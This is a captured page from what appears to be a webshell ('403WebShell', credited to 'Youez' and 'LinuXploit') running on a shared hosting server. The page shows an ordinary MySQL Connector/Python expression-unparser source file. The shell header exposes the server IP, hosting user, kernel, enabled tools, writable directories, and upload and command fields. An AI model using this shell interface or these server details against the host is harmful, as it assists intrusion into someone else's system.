Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.6.9
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/hc_python/lib/python3.8/site-packages/mysqlx/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/hc_python/lib/python3.8/site-packages/mysqlx/expr_unparser.py
# MySQL Connector/Python - MySQL driver written in Python.
# Copyright (c) 2016, Oracle and/or its affiliates. All rights reserved.

# MySQL Connector/Python is licensed under the terms of the GPLv2
# <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>, like most
# MySQL Connectors. There are special exceptions to the terms and
# conditions of the GPLv2 as it is applied to this software, see the
# FOSS License Exception
# <http://www.mysql.com/about/legal/licensing/foss-exception.html>.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA

from .protobuf.mysqlx_datatypes_pb2 import *
from .protobuf.mysqlx_expr_pb2 import *


def escape_literal(string):
    return string.replace('"', '""')


def scalar_to_string(s):
    if s.type == Scalar.V_SINT:
        return str(s.v_signed_int)
    elif s.type == Scalar.V_DOUBLE:
        return str(s.v_double)
    elif s.type == Scalar.V_BOOL:
        if s.v_bool:
            return "TRUE"
        else:
            return "FALSE"
    elif s.type == Scalar.V_STRING:
        return '"{0}"'.format(escape_literal(s.v_string.value))
    elif s.type == Scalar.V_NULL:
        return "NULL"
    else:
        raise ValueError("Unknown type tag: {0}".format(s.type))


def column_identifier_to_string(id):
    s = quote_identifier(id.name)
    if id.HasField("table_name"):
        s = "{0}.{1}".format(quote_identifier(id.table_name), s)
    if id.HasField("schema_name"):
        s = "{0}.{1}".format(quote_identifier(id.schema_name), s)
    # if id.HasField("document_path"):
    #     s = "{0}@{1}".format(s, id.document_path)
    return s


def function_call_to_string(fc):
    s = quote_identifier(fc.name.name) + "("
    if fc.name.HasField("schema_name"):
        s = quote_identifier(fc.name.schema_name) + "." + s
    for i in xrange(0, len(fc.param)):
        s = s + expr_to_string(fc.param[i])
        if i + 1 < len(fc.param):
            s = s + ", "
    return s + ")"


def operator_to_string(op):
    ps = op.param
    if op.name == "IN":
        s = expr_to_string(ps[0]) + " IN ("
        for i in xrange(1, len(ps)):
            s = s + expr_to_string(ps[i])
            if i + 1 < len(ps):
                s = s + ", "
        return s + ")"
    elif op.name == "INTERVAL":
        return ("INTERVAL {0} {1}"
                "".format(expr_to_string(ps[0]),
                          expr_to_string(ps[1]).replace('"', '')))
    elif op.name == "BETWEEN":
        return "{0} BETWEEN {1} AND {2}".format(expr_to_string(ps[0]),
                                                expr_to_string(ps[1]),
                                                expr_to_string(ps[2]))
    elif op.name == "LIKE" and len(ps) == 3:
        return "{0} LIKE {1} ESCAPE {2}".format(expr_to_string(ps[0]),
                                                expr_to_string(ps[1]),
                                                expr_to_string(ps[2]))
    elif len(ps) == 2:
        return "{0} {1} {2}".format(expr_to_string(ps[0]), op.name,
                                    expr_to_string(ps[1]))
    elif len(ps) == 1:
        if len(op.name) == 1:
            return "{0}{1}".format(op.name, expr_to_string(ps[0]))
        else:
            # something like NOT
            return "{0} ({1})".format(op.name, expr_to_string(ps[0]))
    else:
        raise ValueError("Unknown operator structure: {0}".format(op))


def quote_identifier(id):
    if "`" in id or '"' in id or "'" in id or "@" in id or "." in id:
        return "`{0}`".format(id.replace("`", "``"))
    else:
        return id


def expr_to_string(e):
    if e.type == Expr.LITERAL:
        return scalar_to_string(e.literal)
    elif e.type == Expr.IDENT:
        return column_identifier_to_string(e.identifier)
    elif e.type == Expr.FUNC_CALL:
        return function_call_to_string(e.function_call)
    elif e.type == Expr.OPERATOR:
        return operator_to_string(e.operator)
    elif e.type == Expr.VARIABLE:
        return "@{0}".format(quote_identifier(e.variable))
    else:
        raise ValueError("Unknown expression type: {0}".format(e.type))

Youez - 2016 - github.com/yon3zu
LinuXploit